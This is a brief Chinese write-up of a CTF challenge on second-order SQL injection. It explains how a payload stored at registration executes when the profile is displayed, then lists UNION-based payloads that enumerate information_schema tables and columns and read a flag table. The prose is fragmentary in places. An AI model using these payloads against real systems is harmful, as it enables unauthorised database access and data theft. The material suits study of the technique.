这是一个sql二次注入的题。所谓二次注入就是先在非注入点构造payload,程序会存储这个payload。然后程序会在注入点调用这个payload进行数据库操作。
' or 1=1#
。发现单引号被转义。--注册
insert into user values('用户名','密码','十月太懒,没有简介');
--登录
select * from user where 用户名='用户名' and 密码='密码';、
--登录之后会显示个人简介
select 个人简介 from user where 用户名='用户名';
select 个人简介 from user where 用户名='用户名';
sql语句构造payload即可。zz' union select 1#
,尝试是否成功。1
,而不是默认简介,发现注入成功。继续构造payload寻找flag。--查询表名
1' union select group_concat(table_name) from information_schema.tables where table_schema=database()#
--查询flag列名
1' union select group_concat(column_name) from information_schema.columns where table_name='flag'#
--查询flag
1' union select flag from flag#